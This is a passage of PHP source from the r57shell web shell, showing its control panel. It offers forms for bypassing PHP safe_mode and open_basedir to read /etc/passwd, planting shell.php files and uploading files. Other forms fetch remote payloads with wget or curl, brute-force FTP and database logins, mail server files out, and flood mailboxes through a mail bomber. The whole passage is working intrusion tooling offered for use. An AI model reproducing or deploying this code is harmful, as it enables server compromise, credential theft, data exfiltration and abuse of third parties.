echo in(\'hidden\',\'dir\',0,$dir).in(\'hidden\',\'cmd\',0,\'php_eval\');
echo "<br>".ws(1).in(\'submit\',\'submit\',0,$lang[$language.\'_butt1\']);
echo "</div></div></font>";
echo $table_end1.$fe;
if($safe_mode ||$open_basedir)
{
echo $fs.$table_up1.div_title($lang[$language.\'_text34\'],\'id11\').$table_up2.div(\'id11\').$ts;
echo "<table class=table1 width=100% align=center>";
echo sr(15,"<b>".$lang[$language.\'_text30\'].$arrow."</b>",in(\'text\',\'test2_file\',85,(!empty($_POST[\'test2_file\'])?($_POST[\'test2_file\']):("/etc/passwd"))).in(\'hidden\',\'dir\',0,$dir).in(\'hidden\',\'cmd\',0,\'test2\').ws(4).in(\'submit\',\'submit\',0,$lang[$language.\'_butt8\']));
echo $te.\'</div>\'.$table_end1.$fe;
}
if(($safe_mode ||$open_basedir) &&$curl_on &&@version_compare(@phpversion(),"5.2.0")<=0)
{
echo $fs.$table_up1.div_title($lang[$language.\'_text33\'],\'id12\').$table_up2.div(\'id12\').$ts;
echo sr(15,"<b>".$lang[$language.\'_text30\'].$arrow."</b>",in(\'text\',\'test1_file\',85,(!empty($_POST[\'test1_file\'])?($_POST[\'test1_file\']):("/etc/passwd"))).in(\'hidden\',\'dir\',0,$dir).in(\'hidden\',\'cmd\',0,\'test1\').ws(4).in(\'submit\',\'submit\',0,$lang[$language.\'_butt8\']));
echo $te.\'</div>\'.$table_end1.$fe;
}
if(($safe_mode ||$open_basedir) &&$mysql_on)
{
echo $fs.$table_up1.div_title($lang[$language.\'_text35\'],\'id13\').$table_up2.div(\'id13\').$ts;
echo sr(15,"<b>".$lang[$language.\'_text36\'].$arrow."</b>",in(\'text\',\'test3_md\',15,(!empty($_POST[\'test3_md\'])?($_POST[\'test3_md\']):("mysql"))).ws(4)."<b>".$lang[$language.\'_text37\'].$arrow."</b>".in(\'text\',\'test3_ml\',15,(!empty($_POST[\'test3_ml\'])?($_POST[\'test3_ml\']):("root"))).ws(4)."<b>".$lang[$language.\'_text38\'].$arrow."</b>".in(\'text\',\'test3_mp\',15,(!empty($_POST[\'test3_mp\'])?($_POST[\'test3_mp\']):("password"))).ws(4)."<b>".$lang[$language.\'_text14\'].$arrow."</b>".in(\'text\',\'test3_port\',15,(!empty($_POST[\'test3_port\'])?($_POST[\'test3_port\']):("3306"))));
echo sr(15,"<b>".$lang[$language.\'_text30\'].$arrow."</b>",in(\'text\',\'test3_file\',96,(!empty($_POST[\'test3_file\'])?($_POST[\'test3_file\']):("/etc/passwd"))).in(\'hidden\',\'dir\',0,$dir).in(\'hidden\',\'cmd\',0,\'test3\').ws(4).in(\'submit\',\'submit\',0,$lang[$language.\'_butt8\']));
echo $te.\'</div>\'.$table_end1.$fe;
}
if(($safe_mode ||$open_basedir) &&$mssql_on)
{
echo $fs.$table_up1.div_title($lang[$language.\'_text85\'],\'id14\').$table_up2.div(\'id14\').$ts;
echo sr(15,"<b>".$lang[$language.\'_text36\'].$arrow."</b>",in(\'text\',\'test4_md\',15,(!empty($_POST[\'test4_md\'])?($_POST[\'test4_md\']):("master"))).ws(4)."<b>".$lang[$language.\'_text37\'].$arrow."</b>".in(\'text\',\'test4_ml\',15,(!empty($_POST[\'test4_ml\'])?($_POST[\'test4_ml\']):("sa"))).ws(4)."<b>".$lang[$language.\'_text38\'].$arrow."</b>".in(\'text\',\'test4_mp\',15,(!empty($_POST[\'test4_mp\'])?($_POST[\'test4_mp\']):("password"))).ws(4)."<b>".$lang[$language.\'_text14\'].$arrow."</b>".in(\'text\',\'test4_port\',15,(!empty($_POST[\'test4_port\'])?($_POST[\'test4_port\']):("1433"))));
echo sr(15,"<b>".$lang[$language.\'_text3\'].$arrow."</b>",in(\'text\',\'test4_file\',96,(!empty($_POST[\'test4_file\'])?($_POST[\'test4_file\']):("dir"))).in(\'hidden\',\'dir\',0,$dir).in(\'hidden\',\'cmd\',0,\'test4\').ws(4).in(\'submit\',\'submit\',0,$lang[$language.\'_butt8\']));
echo $te.\'</div>\'.$table_end1.$fe;
}
if(($safe_mode ||$open_basedir) &&$unix &&@function_exists(\'mb_send_mail\') &&@version_compare(@phpversion(),"5.2.0")<=0){
echo $fs.$table_up1.div_title($lang[$language.\'_text112\'],\'id15\').$table_up2.div(\'id15\').$ts;
echo sr(15,"<b>".$lang[$language.\'_text30\'].$arrow."</b>",in(\'text\',\'test5_file\',96,(!empty($_POST[\'test5_file\'])?($_POST[\'test5_file\']):("/etc/passwd"))).in(\'hidden\',\'dir\',0,$dir).in(\'hidden\',\'cmd\',0,\'test5\').ws(4).in(\'submit\',\'submit\',0,$lang[$language.\'_butt8\']));
echo $te.\'</div>\'.$table_end1.$fe;
}
if(($safe_mode ||$open_basedir) &&@function_exists(\'imap_open\') &&@function_exists(\'imap_list\') &&@version_compare(@phpversion(),"5.2.0")<=0){
echo $fs.$table_up1.div_title($lang[$language.\'_text113\'],\'id20\').$table_up2.div(\'id20\').$ts;
echo sr(15,"<b>".$lang[$language.\'_text4\'].$arrow."</b>",in(\'text\',\'test6_file\',96,(!empty($_POST[\'test6_file\'])?($_POST[\'test6_file\']):($dir))).in(\'hidden\',\'dir\',0,$dir).in(\'hidden\',\'cmd\',0,\'test6\').ws(4).in(\'submit\',\'submit\',0,$lang[$language.\'_butt8\']));
echo $te.\'</div>\'.$table_end1.$fe;
}
if(($safe_mode ||$open_basedir) &&@function_exists(\'imap_open\') &&@function_exists(\'imap_body\') &&@version_compare(@phpversion(),"5.2.0")<=0){
echo $fs.$table_up1.div_title($lang[$language.\'_text114\'],\'id21\').$table_up2.div(\'id21\').$ts;
echo sr(15,"<b>".$lang[$language.\'_text30\'].$arrow."</b>",in(\'text\',\'test7_file\',96,(!empty($_POST[\'test7_file\'])?($_POST[\'test7_file\']):("/etc/passwd"))).in(\'hidden\',\'dir\',0,$dir).in(\'hidden\',\'cmd\',0,\'test7\').ws(4).in(\'submit\',\'submit\',0,$lang[$language.\'_butt8\']));
echo $te.\'</div>\'.$table_end1.$fe;
}
if(($safe_mode ||$open_basedir) &&@function_exists(\'copy\') &&@version_compare(@phpversion(),"5.2.0")<=0)
{
echo $fs.$table_up1.div_title($lang[$language.\'_text115\'],\'id22\').$table_up2.div(\'id22\').$ts;
echo sr(15,"<b>".$lang[$language.\'_text116\'].$arrow."</b>",in(\'text\',\'test8_file1\',96,(!empty($_POST[\'test8_file1\'])?($_POST[\'test8_file1\']):("/etc/passwd"))).in(\'hidden\',\'dir\',0,$dir).in(\'hidden\',\'cmd\',0,\'test8\'));
echo sr(15,"<b>".$lang[$language.\'_text117\'].$arrow."</b>",in(\'text\',\'test8_file2\',96,(!empty($_POST[\'test8_file2\'])?($_POST[\'test8_file2\']):($dir))).ws(4).in(\'submit\',\'submit\',0,$lang[$language.\'_butt8\']));
echo $te.\'</div>\'.$table_end1.$fe;
}
if(($safe_mode ||$open_basedir) &&@function_exists(\'ini_restore\') &&@version_compare(@phpversion(),"5.2.0")<=0){
echo $fs.$table_up1.div_title($lang[$language.\'_text120\'],\'id23\').$table_up2.div(\'id23\').$ts;
echo sr(15,"<b>".$lang[$language.\'_text30\'].$arrow."</b>",in(\'text\',\'test9_file\',96,(!empty($_POST[\'test9_file\'])?($_POST[\'test9_file\']):("/etc/passwd"))).in(\'hidden\',\'dir\',0,$dir).in(\'hidden\',\'cmd\',0,\'test9\').ws(4).in(\'submit\',\'submit\',0,$lang[$language.\'_butt8\']));
echo $te.\'</div>\'.$table_end1.$fe;
}
if(($safe_mode ||$open_basedir) &&@version_compare(@phpversion(),"5.0.0")<0){
echo $fs.$table_up1.div_title($lang[$language.\'_text121\'],\'id24\').$table_up2.div(\'id24\').$ts;
echo sr(15,"<b>".$lang[$language.\'_text4\'].$arrow."</b>",in(\'text\',\'test10_file\',96,(!empty($_POST[\'test10_file\'])?($_POST[\'test10_file\']):($dir))).in(\'hidden\',\'dir\',0,$dir).in(\'hidden\',\'cmd\',0,\'test10\').ws(4).in(\'submit\',\'submit\',0,$lang[$language.\'_butt8\']));
echo $te.\'</div>\'.$table_end1.$fe;
}
if(($safe_mode ||$open_basedir) &&@function_exists(\'glob\') &&@version_compare(@phpversion(),"5.2.2")<=0){
echo $fs.$table_up1.div_title($lang[$language.\'_text122\'],\'id19\').$table_up2.div(\'id19\').$ts;
echo sr(15,"<b>".$lang[$language.\'_text4\'].$arrow."</b>",in(\'text\',\'dir\',96,(!empty($_POST[\'test18_file\'])?($_POST[\'test18_file\']):($dir))).in(\'hidden\',\'cmd\',0,\'safe_dir\').ws(4).in(\'submit\',\'submit\',0,$lang[$language.\'_butt8\']));
echo $te.\'</div>\'.$table_end1.$fe;
}
if(($safe_mode ||$open_basedir) &&@version_compare(@phpversion(),"5.2.2")<=0)
{
echo $fs.$table_up1.div_title($lang[$language.\'_text130\'],\'id25\').$table_up2.div(\'id25\').$ts;
echo sr(15,"<b>".$lang[$language.\'_text116\'].$arrow."</b>",in(\'text\',\'test11_file\',96,(!empty($_POST[\'test11_file\'])?($_POST[\'test11_file\']):("/tmp/test.zip"))).in(\'hidden\',\'dir\',0,$dir).in(\'hidden\',\'cmd\',0,\'test11\').ws(4).in(\'submit\',\'submit\',0,$lang[$language.\'_butt8\']));
echo $te.\'</div>\'.$table_end1.$fe;
}
if(($safe_mode ||$open_basedir) &&@version_compare(@phpversion(),"5.2.2")<=0)
{
echo $fs.$table_up1.div_title($lang[$language.\'_text123\'],\'id26\').$table_up2.div(\'id26\').$ts;
echo sr(15,"<b>".$lang[$language.\'_text116\'].$arrow."</b>",in(\'text\',\'test12_file\',96,(!empty($_POST[\'test12_file\'])?($_POST[\'test12_file\']):("/tmp/test.bzip"))).in(\'hidden\',\'dir\',0,$dir).in(\'hidden\',\'cmd\',0,\'test12\').ws(4).in(\'submit\',\'submit\',0,$lang[$language.\'_butt8\']));
echo $te.\'</div>\'.$table_end1.$fe;
}
if(($safe_mode ||$open_basedir) &&@function_exists(\'error_log\') &&@version_compare(@phpversion(),"5.2.2")<=0)
{
echo $fs.$table_up1.div_title($lang[$language.\'_text124\'],\'id27\').$table_up2.div(\'id27\').$ts;
echo sr(15,"<b>".$lang[$language.\'_text65\']." ".$lang[$language.\'_text59\'].$arrow."</b>",in(\'text\',\'test13_file2\',96,(!empty($_POST[\'test13_file2\'])?($_POST[\'test13_file2\']):($dir."/shell.php"))).in(\'hidden\',\'dir\',0,$dir).in(\'hidden\',\'cmd\',0,\'test13\'));
echo sr(15,"<b>".$lang[$language.\'_text125\'].$arrow."</b>",in(\'text\',\'test13_file1\',96,(!empty($_POST[\'test13_file1\'])?($_POST[\'test13_file1\']):("<? phpinfo(); ?>"))).ws(4).in(\'submit\',\'submit\',0,$lang[$language.\'_butt10\']));
echo $te.\'</div>\'.$table_end1.$fe;
}
if(($safe_mode ||$open_basedir) &&@version_compare(@phpversion(),"5.2.2")<=0)
{
echo $fs.$table_up1.div_title($lang[$language.\'_text126\'],\'id28\').$table_up2.div(\'id28\').$ts;
echo sr(15,"<b>".$lang[$language.\'_text4\'].$arrow."</b>",in(\'text\',\'test14_file2\',96,(!empty($_POST[\'test14_file2\'])?($_POST[\'test14_file2\']):($dir))).in(\'hidden\',\'dir\',0,$dir).in(\'hidden\',\'cmd\',0,\'test14\'));
echo sr(15,"<b>".$lang[$language.\'_text125\'].$arrow."</b>",in(\'text\',\'test14_file1\',96,(!empty($_POST[\'test14_file1\'])?($_POST[\'test14_file1\']):("<? phpinfo(); ?>"))).ws(4).in(\'submit\',\'submit\',0,$lang[$language.\'_butt10\']));
echo $te.\'</div>\'.$table_end1.$fe;
}
if(($safe_mode ||$open_basedir) &&@function_exists(\'readfile\') &&@version_compare(@phpversion(),"5.2.2")<=0)
{
echo $fs.$table_up1.div_title($lang[$language.\'_text127\'],\'id29\').$table_up2.div(\'id29\').$ts;
echo sr(15,"<b>".$lang[$language.\'_text65\']." ".$lang[$language.\'_text59\'].$arrow."</b>",in(\'text\',\'test15_file2\',96,(!empty($_POST[\'test15_file2\'])?($_POST[\'test15_file2\']):($dir."/shell.php"))).in(\'hidden\',\'dir\',0,$dir).in(\'hidden\',\'cmd\',0,\'test15\'));
echo sr(15,"<b>".$lang[$language.\'_text125\'].$arrow."</b>",in(\'text\',\'test15_file1\',96,(!empty($_POST[\'test15_file1\'])?($_POST[\'test15_file1\']):("<? phpinfo(); ?>"))).ws(4).in(\'submit\',\'submit\',0,$lang[$language.\'_butt10\']));
echo $te.\'</div>\'.$table_end1.$fe;
}
if(($safe_mode ||$open_basedir) &&@version_compare(@phpversion(),"5.2.4")<=0)
{
echo $fs.$table_up1.div_title($lang[$language.\'_text129\'],\'id16\').$table_up2.div(\'id16\').$ts;
echo sr(15,"<b>".$lang[$language.\'_text65\']." ".$lang[$language.\'_text59\'].$arrow."</b>",in(\'text\',\'test16_file\',96,(!empty($_POST[\'test16_file\'])?($_POST[\'test16_file\']):($dir."/test.php"))).in(\'hidden\',\'dir\',0,$dir).in(\'hidden\',\'cmd\',0,\'test16\').ws(4).in(\'submit\',\'submit\',0,$lang[$language.\'_butt8\']));
echo $te.\'</div>\'.$table_end1.$fe;
}
if(($safe_mode ||$open_basedir) &&@function_exists(\'symlink\') &&@version_compare(@phpversion(),"5.2.2")<=0)
{
echo $table_up1.div_title($lang[$language.\'_text131\'],\'id17\').$table_up2.div(\'id17\').$ts;
echo "<tr><td valign=top width=70%>".$ts;
echo sr(20,"<b>".$lang[$language.\'_text30\'].$arrow."</b>",$fs.in(\'text\',\'test17_file\',60,(!empty($_POST[\'test17_file\'])?($_POST[\'test17_file\']):("/etc/passwd"))).in(\'hidden\',\'dir\',0,$dir).in(\'hidden\',\'cmd\',0,\'test17_1\').in(\'submit\',\'submit\',0,$lang[$language.\'_text136\']).$fe);
echo $te."</td><td valign=top width=30%>".$ts;
echo sr(0,"",$fs.in(\'hidden\',\'dir\',0,$dir).in(\'hidden\',\'cmd\',0,\'test17_2\').in(\'submit\',\'submit\',0,$lang[$language.\'_butt8\']).$fe);
echo $te."</td></tr>";
echo $te.\'</div>\'.$table_end1;
}
if(($safe_mode ||$open_basedir) &&@function_exists(\'symlink\') &&@version_compare(@phpversion(),"5.2.2")<=0)
{
echo $table_up1.div_title($lang[$language.\'_text132\'],\'id18\').$table_up2.div(\'id18\').$ts;
echo "<tr><td valign=top width=70%>".$ts;
echo sr(20,"<b>".$lang[$language.\'_text4\'].$arrow."</b>",$fs.in(\'text\',\'test17_file\',60,(!empty($_POST[\'test17_file\'])?($_POST[\'test17_file\']):($dir))).in(\'hidden\',\'dir\',0,$dir).in(\'hidden\',\'cmd\',0,\'test17_1\').in(\'submit\',\'submit\',0,$lang[$language.\'_text136\']).$fe);
echo $te."</td><td valign=top width=30%>".$ts;
echo sr(0,"",$fs.in(\'hidden\',\'dir\',0,$dir).in(\'hidden\',\'cmd\',0,\'test17_3\').in(\'submit\',\'submit\',0,$lang[$language.\'_butt8\']).$fe);
echo $te."</td></tr>";
echo $te.\'</div>\'.$table_end1;
}
if((!@function_exists(\'ini_get\')) ||@ini_get(\'file_uploads\')){
echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";
echo $table_up1.div_title($lang[$language.\'_text5\'],\'id30\').$table_up2.div(\'id30\').$ts;
echo sr(15,"<b>".$lang[$language.\'_text6\'].$arrow."</b>",in(\'file\',\'userfile0\',85,\'\'));
echo sr(15,"<b>".$lang[$language.\'_text21\'].$arrow."</b>",in(\'checkbox\',\'nf1 id=nf1\',0,\'1\').in(\'text\',\'new_name\',82,\'\').in(\'hidden\',\'dir\',0,$dir).ws(4).in(\'submit\',\'submit\',0,$lang[$language.\'_butt2\']));
echo $te.\'</div>\'.$table_end1.$fe;
}
if((!@function_exists(\'ini_get\')) ||@ini_get(\'file_uploads\')){
echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";
echo $table_up1.div_title(\'Multy \'.$lang[$language.\'_text5\'],\'id34\').$table_up2.div(\'id34\').$ts;
echo "<tr><td valign=top width=50%>".$ts;
echo sr(15,"<b>".$lang[$language.\'_text6\'].$arrow."</b>",in(\'file\',\'userfile1\',35,\'\'));
echo sr(15,"<b>".$lang[$language.\'_text6\'].$arrow."</b>",in(\'file\',\'userfile2\',35,\'\'));
echo sr(15,"<b>".$lang[$language.\'_text6\'].$arrow."</b>",in(\'file\',\'userfile3\',35,\'\'));
echo sr(15,"<b>".$lang[$language.\'_text6\'].$arrow."</b>",in(\'file\',\'userfile4\',35,\'\'));
echo sr(15,"<b>".$lang[$language.\'_text6\'].$arrow."</b>",in(\'file\',\'userfile5\',35,\'\'));
echo sr(15,"<b>".$lang[$language.\'_text6\'].$arrow."</b>",in(\'file\',\'userfile6\',35,\'\'));
echo sr(15,"<b>".$lang[$language.\'_text6\'].$arrow."</b>",in(\'file\',\'userfile7\',35,\'\'));
echo sr(15,"<b>".$lang[$language.\'_text6\'].$arrow."</b>",in(\'file\',\'userfile8\',35,\'\'));
echo $te."</td><td valign=top width=50%>".$ts;
echo sr(15,"<b>".$lang[$language.\'_text6\'].$arrow."</b>",in(\'file\',\'userfile9\',35,\'\'));
echo sr(15,"<b>".$lang[$language.\'_text6\'].$arrow."</b>",in(\'file\',\'userfile10\',35,\'\'));
echo sr(15,"<b>".$lang[$language.\'_text6\'].$arrow."</b>",in(\'file\',\'userfile11\',35,\'\'));
echo sr(15,"<b>".$lang[$language.\'_text6\'].$arrow."</b>",in(\'file\',\'userfile12\',35,\'\'));
echo sr(15,"<b>".$lang[$language.\'_text6\'].$arrow."</b>",in(\'file\',\'userfile13\',35,\'\'));
echo sr(15,"<b>".$lang[$language.\'_text6\'].$arrow."</b>",in(\'file\',\'userfile14\',35,\'\'));
echo sr(15,"<b>".$lang[$language.\'_text6\'].$arrow."</b>",in(\'file\',\'userfile15\',35,\'\'));
echo sr(15,\'\',in(\'hidden\',\'dir\',0,$dir).ws(4).in(\'submit\',\'submit\',0,$lang[$language.\'_butt2\']));
echo $te."</td></tr>";
echo $te.\'</div>\'.$table_end1.$fe;
}
$select=\'\';
if((!@function_exists(\'ini_get\')) ||(@ini_get(\'allow_url_fopen\') &&@function_exists(\'fopen\'))){$select = "<option value=\"fopen\">fopen</option>";}
if(!$safe_mode){
if(which(\'wget\')){$select .= "<option value=\"wget\">wget</option>";}
if(which(\'fetch\')){$select .= "<option value=\"fetch\">fetch</option>";}
if(which(\'lynx\')){$select .= "<option value=\"lynx\">lynx</option>";}
if(which(\'links\')){$select .= "<option value=\"links\">links</option>";}
if(which(\'curl\')){$select .= "<option value=\"curl\">curl</option>";}
if(which(\'GET\')){$select .= "<option value=\"GET\">GET</option>";}
}
if($select){
echo $fs.$table_up1.div_title($lang[$language.\'_text15\'],\'id31\').$table_up2.div(\'id31\').$ts;
echo sr(15,"<b>".$lang[$language.\'_text16\'].$arrow."</b>","<select size=\"1\" name=\"with\">".$select
."</select>".in(\'hidden\',\'dir\',0,$dir).ws(2)."<b>".$lang[$language.\'_text17\'].$arrow."</b>".in(\'text\',\'rem_file\',78,\'http://\'));
echo sr(15,"<b>".$lang[$language.\'_text18\'].$arrow."</b>",in(\'text\',\'loc_file\',105,$dir).ws(4).in(\'submit\',\'submit\',0,$lang[$language.\'_butt2\']));
echo $te.\'</div>\'.$table_end1.$fe;
}
echo $fs.$table_up1.div_title($lang[$language.\'_text86\'],\'id32\').$table_up2.div(\'id32\').$ts;
echo sr(15,"<b>".$lang[$language.\'_text59\'].$arrow."</b>",in(\'text\',\'d_name\',85,$dir).in(\'hidden\',\'cmd\',0,\'download_file\').in(\'hidden\',\'dir\',0,$dir).ws(4).in(\'submit\',\'submit\',0,$lang[$language.\'_butt14\']));
$arh = $lang[$language.\'_text92\'];
if(@function_exists(\'gzcompress\')) {$arh .= in(\'radio\',\'compress\',0,\'zip\').\' zip\';}
if(@function_exists(\'gzencode\'))   {$arh .= in(\'radio\',\'compress\',0,\'gzip\').\' gzip\';}
if(@function_exists(\'bzcompress\')) {$arh .= in(\'radio\',\'compress\',0,\'bzip\').\' bzip\';}
echo sr(15,"<b>".$lang[$language.\'_text91\'].$arrow."</b>",in(\'radio\',\'compress\',0,\'none\',1).\' \'.$arh);
echo $te.\'</div>\'.$table_end1.$fe;
if(@function_exists("ftp_connect")){
echo $table_up1.div_title($lang[$language.\'_text93\'],\'id33\').$table_up2.div(\'id33\').$ts."<tr>".$fs."<td valign=top width=33%>".$ts;
echo "<font face=Verdana size=-2><b><div align=center id=\'n\'>".$lang[$language.\'_text94\']."</div></b></font>";
echo sr(25,"<b>".$lang[$language.\'_text88\'].$arrow."</b>",in(\'text\',\'ftp_server_port\',20,(!empty($_POST[\'ftp_server_port\'])?($_POST[\'ftp_server_port\']):("127.0.0.1:21"))).in(\'hidden\',\'cmd\',0,\'ftp_brute\').in(\'hidden\',\'dir\',0,$dir));
echo sr(25,"",in(\'radio\',\'brute_method\',0,\'passwd\',1)."<font face=Verdana size=-2>".$lang[$language.\'_text99\']." ( <a href=".$_SERVER[\'PHP_SELF\']."?users>".$lang[$language.\'_text95\']."</a> )</font>");
echo sr(25,"",in(\'checkbox\',\'reverse id=reverse\',0,\'1\',1).$lang[$language.\'_text101\']);
echo sr(25,"",in(\'radio\',\'brute_method\',0,\'dic\',0).$lang[$language.\'_text135\']);
echo sr(25,"<b>".$lang[$language.\'_text37\'].$arrow."</b>",in(\'text\',\'ftp_login\',0,(!empty($_POST[\'ftp_login\'])?($_POST[\'ftp_login\']):("root"))));
echo sr(25,"<b>".$lang[$language.\'_text135\'].$arrow."</b>",in(\'text\',\'dictionary\',0,(!empty($_POST[\'dictionary\'])?($_POST[\'dictionary\']):($dir.\'/passw.dic\'))));
echo sr(25,"",in(\'submit\',\'submit\',0,$lang[$language.\'_butt1\']));
echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
echo "<font face=Verdana size=-2><b><div align=center id=\'n\'>".$lang[$language.\'_text87\']."</div></b></font>";
echo sr(25,"<b>".$lang[$language.\'_text88\'].$arrow."</b>",in(\'text\',\'ftp_server_port\',20,(!empty($_POST[\'ftp_server_port\'])?($_POST[\'ftp_server_port\']):("127.0.0.1:21"))));
echo sr(25,"<b>".$lang[$language.\'_text37\'].$arrow."</b>",in(\'text\',\'ftp_login\',20,(!empty($_POST[\'ftp_login\'])?($_POST[\'ftp_login\']):("anonymous"))));
echo sr(25,"<b>".$lang[$language.\'_text38\'].$arrow."</b>",in(\'text\',\'ftp_password\',20,(!empty($_POST[\'ftp_password\'])?($_POST[\'ftp_password\']):("[email protected]"))));
echo sr(25,"<b>".$lang[$language.\'_text89\'].$arrow."</b>",in(\'text\',\'ftp_file\',20,(!empty($_POST[\'ftp_file\'])?($_POST[\'ftp_file\']):("/ftp-dir/file"))).in(\'hidden\',\'cmd\',0,\'ftp_file_down\'));
echo sr(25,"<b>".$lang[$language.\'_text18\'].$arrow."</b>",in(\'text\',\'loc_file\',20,$dir));
echo sr(25,"<b>".$lang[$language.\'_text90\'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in(\'hidden\',\'dir\',0,$dir));
echo sr(25,"",in(\'submit\',\'submit\',0,$lang[$language.\'_butt14\']));
echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
echo "<font face=Verdana size=-2><b><div align=center id=\'n\'>".$lang[$language.\'_text100\']."</div></b></font>";
echo sr(25,"<b>".$lang[$language.\'_text88\'].$arrow."</b>",in(\'text\',\'ftp_server_port\',20,(!empty($_POST[\'ftp_server_port\'])?($_POST[\'ftp_server_port\']):("127.0.0.1:21"))));
echo sr(25,"<b>".$lang[$language.\'_text37\'].$arrow."</b>",in(\'text\',\'ftp_login\',20,(!empty($_POST[\'ftp_login\'])?($_POST[\'ftp_login\']):("anonymous"))));
echo sr(25,"<b>".$lang[$language.\'_text38\'].$arrow."</b>",in(\'text\',\'ftp_password\',20,(!empty($_POST[\'ftp_password\'])?($_POST[\'ftp_password\']):("[email protected]"))));
echo sr(25,"<b>".$lang[$language.\'_text18\'].$arrow."</b>",in(\'text\',\'loc_file\',20,$dir));
echo sr(25,"<b>".$lang[$language.\'_text89\'].$arrow."</b>",in(\'text\',\'ftp_file\',20,(!empty($_POST[\'ftp_file\'])?($_POST[\'ftp_file\']):("/ftp-dir/file"))).in(\'hidden\',\'cmd\',0,\'ftp_file_up\'));
echo sr(25,"<b>".$lang[$language.\'_text90\'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in(\'hidden\',\'dir\',0,$dir));
echo sr(25,"",in(\'submit\',\'submit\',0,$lang[$language.\'_butt2\']));
echo $te."</td>".$fe."</tr></div></table>";
}
if(@function_exists("mail")){
echo $table_up1.div_title($lang[$language.\'_text102\'],\'id35\').$table_up2.div(\'id35\').$ts."<tr>".$fs."<td valign=top width=33%>".$ts;
echo "<font face=Verdana size=-2><b><div align=center id=\'n\'>".$lang[$language.\'_text103\']."</div></b></font>";
echo sr(25,"<b>".$lang[$language.\'_text105\'].$arrow."</b>",in(\'text\',\'to\',30,(!empty($_POST[\'to\'])?($_POST[\'to\']):("[email protected]"))).in(\'hidden\',\'cmd\',0,\'mail\').in(\'hidden\',\'dir\',0,$dir));
echo sr(25,"<b>".$lang[$language.\'_text106\'].$arrow."</b>",in(\'text\',\'from\',30,(!empty($_POST[\'from\'])?($_POST[\'from\']):("[email protected]"))));
echo sr(25,"<b>".$lang[$language.\'_text107\'].$arrow."</b>",in(\'text\',\'subj\',30,(!empty($_POST[\'subj\'])?($_POST[\'subj\']):("hello billy"))));
echo sr(25,"<b>".$lang[$language.\'_text108\'].$arrow."</b>",\'<textarea name=text cols=22 rows=2>\'.(!empty($_POST[\'text\'])?($_POST[\'text\']):("mail text here")).\'</textarea>\');
echo sr(25,"",in(\'submit\',\'submit\',0,$lang[$language.\'_butt15\']));
echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
echo "<font face=Verdana size=-2><b><div align=center id=\'n\'>".$lang[$language.\'_text104\']."</div></b></font>";
echo sr(25,"<b>".$lang[$language.\'_text105\'].$arrow."</b>",in(\'text\',\'to\',30,(!empty($_POST[\'to\'])?($_POST[\'to\']):("[email protected]"))).in(\'hidden\',\'cmd\',0,\'mail_file\').in(\'hidden\',\'dir\',0,$dir));
echo sr(25,"<b>".$lang[$language.\'_text106\'].$arrow."</b>",in(\'text\',\'from\',30,(!empty($_POST[\'from\'])?($_POST[\'from\']):("[email protected]"))));
echo sr(25,"<b>".$lang[$language.\'_text107\'].$arrow."</b>",in(\'text\',\'subj\',30,(!empty($_POST[\'subj\'])?($_POST[\'subj\']):("file from r57shell"))));
echo sr(25,"<b>".$lang[$language.\'_text18\'].$arrow."</b>",in(\'text\',\'loc_file\',30,$dir));
echo sr(25,"<b>".$lang[$language.\'_text91\'].$arrow."</b>",in(\'radio\',\'compress\',0,\'none\',1).\' \'.$arh);
echo sr(25,"",in(\'submit\',\'submit\',0,$lang[$language.\'_butt15\']));
echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
echo "<font face=Verdana size=-2><b><div align=center id=\'n\'>".$lang[$language.\'_text139\']."</div></b></font>";
echo sr(25,"<b>".$lang[$language.\'_text105\'].$arrow."</b>",in(\'text\',\'to\',30,(!empty($_POST[\'to\'])?($_POST[\'to\']):("[email protected]"))).in(\'hidden\',\'cmd\',0,\'mail_bomber\').in(\'hidden\',\'dir\',0,$dir));
echo sr(25,"<b>".$lang[$language.\'_text106\'].$arrow."</b>",in(\'text\',\'from\',30,(!empty($_POST[\'from\'])?($_POST[\'from\']):("[email protected]"))));
echo sr(25,"<b>".$lang[$language.\'_text107\'].$arrow."</b>",in(\'text\',\'subj\',30,(!empty($_POST[\'subj\'])?($_POST[\'subj\']):("hello billy"))));
echo sr(25,"<b>".$lang[$language.\'_text108\'].$arrow."</b>",\'<textarea name=text cols=22 rows=1>\'.(!empty($_POST[\'text\'])?($_POST[\'text\']):("flood text here")).\'</textarea>\');
echo sr(25,"<b>Flood".$arrow."</b>",in(\'int\',\'mail_flood\',5,(!empty($_POST[\'mail_flood\'])?($_POST[\'mail_flood\']):100)).ws(4)."<b>Size(kb)".$arrow."</b>".in(\'int\',\'mail_size\',5,(!empty($_POST[\'mail_size\'])?($_POST[\'mail_size\']):10)));
echo sr(25,"",in(\'submit\',\'submit\',0,$lang[$language.\'_butt15\']));
echo $te."</td>".$fe."</tr></div></table>";
}
if($mysql_on||$mssql_on||$pg_on||$ora_on)
{
$select = \'<select name=db>\';
if($mysql_on) $select .= \'<option>MySQL</option>\';
if($mssql_on) $select .= \'<option>MSSQL</option>\';
if($pg_on)    $select .= \'<option>PostgreSQL</option>\';
if($ora_on)   $select .= \'<option>Oracle</option>\';
$select .= \'</select>\';
echo $table_up1.div_title($lang[$language.\'_text82\'],\'id36\').$table_up2.div(\'id36\').$ts."<tr>".$fs."<td valign=top width=33%>".$ts;
echo "<font face=Verdana size=-2><b><div align=center id=\'n\'>".$lang[$language.\'_text134\']."</div></b></font>";
echo sr(35,"<b>".$lang[$language.\'_text80\'].$arrow."</b>",$select.in(\'hidden\',\'dir\',0,$dir).in(\'hidden\',\'cmd\',0,\'db_brute\'));
echo sr(35,"<b>".$lang[$language.\'_text111\'].$arrow."</b>",in(\'text\',\'db_server\',8,(!empty($_POST[\'db_server\'])?($_POST[\'db_server\']):("localhost"))).\' <b>:</b> \'.in(\'text\',\'db_port\',8,(!empty($_POST[\'db_port\'])?($_POST[\'db_port\']):("3306"))));
echo sr(35,"<b>".$lang[$language.\'_text39\'].$arrow."</b>",in(\'text\',\'mysql_db\',8,(!empty($_POST[\'mysql_db\'])?($_POST[\'mysql_db\']):("mysql"))));
